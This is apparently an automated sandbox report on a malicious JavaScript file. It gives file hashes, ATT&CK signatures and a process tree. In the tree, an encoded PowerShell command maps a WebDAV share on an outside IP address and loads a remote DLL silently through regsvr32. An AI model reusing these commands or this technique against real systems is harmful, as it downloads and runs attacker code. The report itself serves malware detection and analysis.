Analysis

  • max time kernel
    75s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    14-11-2024 02:44

General

  • Target

    85852f5e63276af2c197db99c06f27ce7a8faa7d1c58ca14275fb03875b60013.js

  • Size

    1.8MB

  • MD5

    fea533f916ddb9f77afa08d87bf652f0

  • SHA1

    f50fb69990b11ae1c73c068337dc7d82b152492c

  • SHA256

    85852f5e63276af2c197db99c06f27ce7a8faa7d1c58ca14275fb03875b60013

  • SHA512

    a97954e95b3b3a2ca63b9cac937e6f1c42527d00c2b77cff06792374175fe42e0f80d5a3ab39aac4954c694d700f79aa34107580c933ed9b163e88d7e979e323

  • SSDEEP

    12288:UzMxhNYrLmuoup3oZ4z/CzSzCxAM4qDdZDBaEQrlLaOr65cap3a:Um2nu94TCesA7HJ

Malware Config

Signatures

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Runs net.exe
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\85852f5e63276af2c197db99c06f27ce7a8faa7d1c58ca14275fb03875b60013.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2116
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA1ADMANQA0ADcAMwA3ADcAMwAwADAAOAA0AC4AZABsAGwA
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3000
      • C:\Windows\system32\timeout.exe
        "C:\Windows\system32\timeout.exe" 1
        3⤵
        • Delays execution with timeout.exe
        PID:2144
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2312
        • C:\Windows\system32\net.exe
          net use \\94.159.113.79@8888\davwwwroot\
          4⤵
            PID:2952
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\5354737730084.dll
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3064
          • C:\Windows\system32\regsvr32.exe
            regsvr32 /s \\94.159.113.79@8888\davwwwroot\5354737730084.dll
            4⤵
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            PID:2496

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/3000-4-0x000007FEF53CE000-0x000007FEF53CF000-memory.dmp

      Filesize

      4KB

    • memory/3000-5-0x000000001B320000-0x000000001B602000-memory.dmp

      Filesize

      2.9MB

    • memory/3000-6-0x00000000024E0000-0x00000000024E8000-memory.dmp

      Filesize

      32KB

    • memory/3000-7-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

      Filesize

      9.6MB

    • memory/3000-8-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

      Filesize

      9.6MB

    • memory/3000-9-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

      Filesize

      9.6MB

    • memory/3000-10-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

      Filesize

      9.6MB

    • memory/3000-11-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

      Filesize

      9.6MB